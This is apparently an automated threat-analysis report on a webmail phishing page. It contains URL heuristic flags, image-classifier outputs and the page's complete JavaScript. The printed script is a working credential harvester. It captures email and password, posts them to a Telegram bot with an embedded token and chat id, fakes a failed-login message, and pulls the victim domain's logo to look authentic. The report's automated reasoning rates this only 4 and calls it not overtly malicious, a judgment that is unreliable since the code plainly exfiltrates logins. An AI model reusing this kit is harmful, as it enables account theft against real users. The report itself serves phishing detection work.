Windows Analysis Report
https://ranprojects0s0wemanin.nyc3.digitaloceanspaces.com/webmail.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://ranprojects0s0wemanin.nyc3.digitaloceanspaces.com

{
    "risk_score": 4,
    "reasoning": "The script has a mix of low-risk and moderate-risk indicators. It collects user email and password, which could be considered sensitive data, and sends it to a Telegram bot. However, the script also includes some legitimate functionality, such as email validation and error handling. Overall, the script requires further review due to the potential data exfiltration behavior, but it does not appear to be overtly malicious."
}

    $(document).ready(function(){
      $('#omak').click(function(event){
		event.preventDefault();
        $('#error').hide();
        $('#msg').hide();
        var email=$("#email").val();
        var password=$("#password").val();
		var my_email =email;
		var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
		if (!email) {
            $('#error').show();
            $('#error').html("Email field is empty");
            return false;
        }
        if (!filter.test(my_email)) {
            $('#error').show();
            $('#error').html("That account doesn't exist. Enter a different account");
            return false;
        }
        if (!password) {
            $('#error').show();
            $('#error').html("Password field is empty");
            return false;
        }
		var ozi = "\n=========WESTERN-PROPARGANDA=========="
		        ozi+="\nuser:	"+email
		        ozi+="\npass:	"+password
		        ozi+="\n===================================\n"
		tmsend(ozi)
		$("#msg").show();
		$('#msg').html("<span style='color:red;'>Authenticating.....</span>");
				  setTimeout(() => {
					$('#msg').html("Password is incorrect. Please try again");
				    $("#password").val("");
					document.getElementById("password").focus();
				  }, 2000);
		});
	});
	
	async function AntiBOT(){
                var d = document.getElementById("top");
				d.style.display = "block";
				document.getElementById("password").focus();
				var email = window.location.hash.substr(1);
				if (!email) {

				}else {
						var my_email =email;
						$('#email').val(my_email); 
						var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
						if (!filter.test(my_email)) {
						  $('#error').show();
						   email.focus;
						   return false;
						}
						var ind=my_email.indexOf("@");
						var my_slice=my_email.substr((ind+1));
						var mainPage = 'https://'+my_slice; 
						var c= my_slice.substr(0, my_slice.indexOf('.'));
						var final= c.toLowerCase();
						var finalu= c.toUpperCase();
						var sv = my_slice;
						var image = "url('https://image.thum.io/get/width/1200/https://"+sv;"')"
						$("#logoimg").attr("src", "https://logo.clearbit.com/"+mainPage);
						$("#logoname").html(final);
						$(".logoname").html(final);
						document.body.style.backgroundImage = image;
						$(".email").html(email);
					}
				}
	
	

	function tmsend(message){
	    var token = "6510435122:AAGGrUI8KNiRsZwXvCj87UhSKIiQFusr7BY";
		var chat_id= "7468307739";
	    const url = `https://api.telegram.org/bot${token}/sendMessage` // The url to request

	    const obj = {
	        chat_id: chat_id, 
	        text: message
	    };

	    const xht = new XMLHttpRequest();
	    xht.open("POST", url, true);
	    xht.setRequestHeader("Content-type", "application/json; charset=UTF-8");
	    xht.send(JSON.stringify(obj));
	}
  

{
  "contains_trigger_text": true,
  "trigger_text": "Sign in to continue",
  "prominent_button_name": "Sign in",
  "text_input_field_labels": [
    "Enter your correct password to avoid deactivation"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Sign in",
  "text_input_field_labels": [
    "Enter your correct password to avoid deactivation"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "contains_trigger_text": true,
  "trigger_text": "Enter your correct password to avoid deactivation",
  "prominent_button_name": "Sign in",
  "text_input_field_labels": [
    "md5x9x@aikzmy.net",
    "Password field is empty"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": "unknown"
}